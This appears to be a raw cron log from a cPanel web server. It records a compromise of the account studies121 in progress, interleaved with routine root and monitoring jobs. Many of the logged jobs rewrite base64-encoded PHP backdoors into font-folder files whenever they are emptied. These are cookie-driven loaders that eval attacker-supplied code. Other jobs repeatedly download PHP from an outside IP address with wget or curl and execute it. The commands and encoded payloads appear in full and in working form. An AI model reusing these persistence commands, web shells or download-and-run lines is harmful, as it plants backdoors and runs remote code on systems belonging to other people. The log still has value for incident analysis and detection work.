Sep 22 10:41:01 ip-184-168-122-23 CROND[7602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:41:01 ip-184-168-122-23 CROND[7603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:41:01 ip-184-168-122-23 CROND[7607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:42:01 ip-184-168-122-23 CROND[8151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:42:01 ip-184-168-122-23 CROND[8150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:42:01 ip-184-168-122-23 CROND[8155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:42:01 ip-184-168-122-23 CROND[8158]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:42:01 ip-184-168-122-23 CROND[8157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:43:01 ip-184-168-122-23 CROND[8568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:43:01 ip-184-168-122-23 CROND[8571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:43:01 ip-184-168-122-23 CROND[8570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:43:01 ip-184-168-122-23 CROND[8573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:44:01 ip-184-168-122-23 CROND[8914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:44:01 ip-184-168-122-23 CROND[8916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:44:01 ip-184-168-122-23 CROND[8917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:44:01 ip-184-168-122-23 CROND[8918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:44:01 ip-184-168-122-23 CROND[8919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:45:01 ip-184-168-122-23 CROND[9120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:45:01 ip-184-168-122-23 CROND[9126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:45:01 ip-184-168-122-23 CROND[9124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:45:01 ip-184-168-122-23 CROND[9127]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 10:45:02 ip-184-168-122-23 CROND[9125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:45:02 ip-184-168-122-23 CROND[9122]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 10:46:01 ip-184-168-122-23 CROND[9295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:46:01 ip-184-168-122-23 CROND[9296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:46:01 ip-184-168-122-23 CROND[9299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:46:01 ip-184-168-122-23 CROND[9304]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 10:46:01 ip-184-168-122-23 CROND[9303]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 10:46:01 ip-184-168-122-23 CROND[9300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:46:01 ip-184-168-122-23 CROND[9305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:47:01 ip-184-168-122-23 CROND[9511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:47:01 ip-184-168-122-23 CROND[9512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:47:01 ip-184-168-122-23 CROND[9514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:47:01 ip-184-168-122-23 CROND[9515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:48:01 ip-184-168-122-23 CROND[9742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:48:01 ip-184-168-122-23 CROND[9744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:48:01 ip-184-168-122-23 CROND[9745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:48:01 ip-184-168-122-23 CROND[9747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:48:01 ip-184-168-122-23 CROND[9746]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:49:01 ip-184-168-122-23 CROND[10056]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 22 10:49:01 ip-184-168-122-23 CROND[10057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:49:01 ip-184-168-122-23 CROND[10059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:49:01 ip-184-168-122-23 CROND[10058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:49:01 ip-184-168-122-23 CROND[10060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:50:01 ip-184-168-122-23 CROND[10382]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:50:01 ip-184-168-122-23 CROND[10384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:50:01 ip-184-168-122-23 CROND[10387]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 10:50:01 ip-184-168-122-23 CROND[10388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:50:01 ip-184-168-122-23 CROND[10386]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 10:50:01 ip-184-168-122-23 CROND[10389]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 10:50:01 ip-184-168-122-23 CROND[10392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:50:01 ip-184-168-122-23 CROND[10390]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 10:50:01 ip-184-168-122-23 CROND[10391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:51:01 ip-184-168-122-23 CROND[10535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:51:01 ip-184-168-122-23 CROND[10536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:51:01 ip-184-168-122-23 CROND[10538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:51:01 ip-184-168-122-23 CROND[10537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:52:01 ip-184-168-122-23 CROND[10721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:52:01 ip-184-168-122-23 CROND[10720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:52:01 ip-184-168-122-23 CROND[10723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:52:01 ip-184-168-122-23 CROND[10725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:52:01 ip-184-168-122-23 CROND[10727]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:53:01 ip-184-168-122-23 CROND[10861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:53:01 ip-184-168-122-23 CROND[10862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:53:01 ip-184-168-122-23 CROND[10863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
